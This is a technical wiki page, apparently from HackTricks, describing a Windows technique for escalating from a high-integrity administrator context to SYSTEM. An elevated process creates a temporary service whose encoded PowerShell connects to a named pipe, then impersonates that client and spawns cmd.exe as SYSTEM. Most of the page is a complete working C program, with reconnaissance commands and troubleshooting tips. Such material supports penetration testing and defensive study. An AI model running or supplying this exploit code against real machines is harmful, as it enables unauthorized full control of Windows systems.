from-high-integrity-to-system-with-name-pipes.md (8495B)
1 --- 2 title: "From High Integrity to SYSTEM with Name Pipes" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # From High Integrity to SYSTEM with Name Pipes 14 15 This is the **administrator/SCM variant** of named-pipe impersonation: an elevated process creates a temporary service whose child connects as `SYSTEM`, then impersonates that client. If the starting context cannot create services but has `SeImpersonatePrivilege`, use a privileged-service coercion instead; see [Named Pipe Client Impersonation](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation) and [RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer). Creating the service requires access to the SCM and `SERVICE_START` access to the new service, while `CreateProcessWithTokenW` requires `SeImpersonatePrivilege`.<sup>[[2]](#references)[[3]](#references)</sup> 16 17 Quickly confirm the expected starting context: 18 19 ```batch 20 whoami /groups | findstr /i "High Mandatory" 21 whoami /priv | findstr /i "SeImpersonatePrivilege" 22 sc.exe query PiperSrv 23 ``` 24 25 **Code flow:** 26 27 1. Create the named-pipe server **before** starting the service. When waiting, treat `ConnectNamedPipe` returning `FALSE` with `ERROR_PIPE_CONNECTED` as success: it means the client won the race and connected between `CreateNamedPipe` and `ConnectNamedPipe`.<sup>[[4]](#references)</sup> 28 2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: `$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();` 29 3. After the service connects and writes, call `ImpersonateNamedPipeClient`, open the resulting thread token, and duplicate it as a primary token.<sup>[[1]](#references)</sup> 30 4. Use that primary token to spawn `cmd.exe`.<sup>[[2]](#references)</sup> 31 32 This route assumes the caller can create/start a service and possesses the privileges required by `CreateProcessWithTokenW` (normally `SeImpersonatePrivilege`). It is a high-integrity-to-SYSTEM technique, not a primitive available to an arbitrary low-privileged user.<sup>[[2]](#references)[[3]](#references)</sup> 33 34 > [!WARNING] 35 > If service creation/start fails, the sample does not signal the pipe thread and can wait indefinitely. Add error handling and an overlapped pipe timeout before using it outside a lab. Also use a random pipe/service name to avoid collisions. 36 37 `ImpersonateNamedPipeClient` adopts the context associated with the **last message read**, so a connection alone is insufficient: make the privileged client write, verify that `ReadFile` returned data, and only then impersonate. Duplicate the thread impersonation token into a `TokenPrimary` token with `SecurityImpersonation`; a primary token is what the process-creation API consumes.<sup>[[1]](#references)[[5]](#references)</sup> 38 39 ```c 40 #include <windows.h> 41 #include <time.h> 42 43 #pragma comment (lib, "advapi32") 44 #pragma comment (lib, "kernel32") 45 46 #define PIPESRV "PiperSrv" 47 #define MESSAGE_SIZE 512 48 49 DWORD WINAPI ServiceGo(LPVOID lpParam) { 50 51 SC_HANDLE scManager; 52 SC_HANDLE scService; 53 54 scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); 55 56 if (scManager == NULL) { 57 return FALSE; 58 } 59 60 // create Piper service 61 scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, 62 SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, 63 "C:\\Windows\\System32\\cmd.exe /c powershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", 64 NULL, NULL, NULL, NULL, NULL); 65 66 if (scService == NULL) { 67 //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); 68 return FALSE; 69 } 70 71 // launch it 72 StartService(scService, 0, NULL); 73 74 // wait a bit and then cleanup 75 Sleep(10000); 76 DeleteService(scService); 77 78 CloseServiceHandle(scService); 79 CloseServiceHandle(scManager); 80 } 81 82 int main() { 83 84 LPCSTR sPipeName = "\\\\.\\pipe\\piper"; 85 HANDLE hSrvPipe; 86 HANDLE th; 87 BOOL bPipeConn; 88 char pPipeBuf[MESSAGE_SIZE]; 89 DWORD dBRead = 0; 90 91 HANDLE hImpToken; 92 HANDLE hNewToken; 93 STARTUPINFOW si; 94 PROCESS_INFORMATION pi; 95 96 // open pipe 97 hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 98 PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL); 99 100 // create and run service 101 th = CreateThread(0, 0, ServiceGo, NULL, 0, 0); 102 103 // wait for the connection from the service 104 bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); 105 if (!bPipeConn && GetLastError() == ERROR_PIPE_CONNECTED) { 106 bPipeConn = TRUE; // Client connected between CreateNamedPipe and ConnectNamedPipe 107 } 108 if (bPipeConn) { 109 if (!ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL) || dBRead == 0) { 110 return -6; 111 } 112 113 // impersonate the service (SYSTEM) 114 if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { 115 return -1; 116 } 117 118 // wait for the service to cleanup 119 WaitForSingleObject(th, INFINITE); 120 121 // get a handle to impersonated token 122 if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { 123 return -2; 124 } 125 126 // create new primary token for new process 127 if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, 128 TokenPrimary, &hNewToken)) { 129 return -4; 130 } 131 132 //Sleep(20000); 133 // spawn cmd.exe as full SYSTEM user 134 ZeroMemory(&si, sizeof(si)); 135 si.cb = sizeof(si); 136 ZeroMemory(&pi, sizeof(pi)); 137 if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 138 CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { 139 return -5; 140 } 141 142 // revert back to original security context 143 RevertToSelf(); 144 145 } 146 147 return 0; 148 } 149 ``` 150 151 ### Failure triage 152 153 - `ConnectNamedPipe == FALSE` with `ERROR_PIPE_CONNECTED`: continue; the pipe is already connected.<sup>[[4]](#references)</sup> 154 - `ImpersonateNamedPipeClient` fails with `ERROR_CANNOT_IMPERSONATE` (`1368`): confirm the SYSTEM client actually wrote data and `ReadFile` completed. Also inspect the client's requested impersonation level; identification/anonymous-level clients cannot be fully impersonated.<sup>[[1]](#references)</sup> 155 - `CreateProcessWithTokenW` fails with `ERROR_PRIVILEGE_NOT_HELD` (`1314`): the original caller does not hold `SeImpersonatePrivilege`. From a high-integrity administrator context, use the token-copy route documented in [SeImpersonate from High To System](/hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system), or use `CreateProcessAsUserW` while impersonating SYSTEM if its required privileges are present.<sup>[[2]](#references)</sup> 156 - `CreateServiceA` returns `ERROR_SERVICE_EXISTS` (`1073`): delete the stale `PiperSrv` entry or randomize `PIPESRV`; always delete the temporary service after the trigger.<sup>[[3]](#references)</sup> 157 158 159 ## References 160 161 - [1] [Microsoft Learn — `ImpersonateNamedPipeClient`](https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient) 162 - [2] [Microsoft Learn — `CreateProcessWithTokenW`](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) 163 - [3] [Microsoft Learn — `CreateServiceA`](https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea) 164 - [4] [Microsoft Learn — `ConnectNamedPipe`](https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-connectnamedpipe) 165 - [5] [Microsoft Learn — `DuplicateTokenEx`](https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex)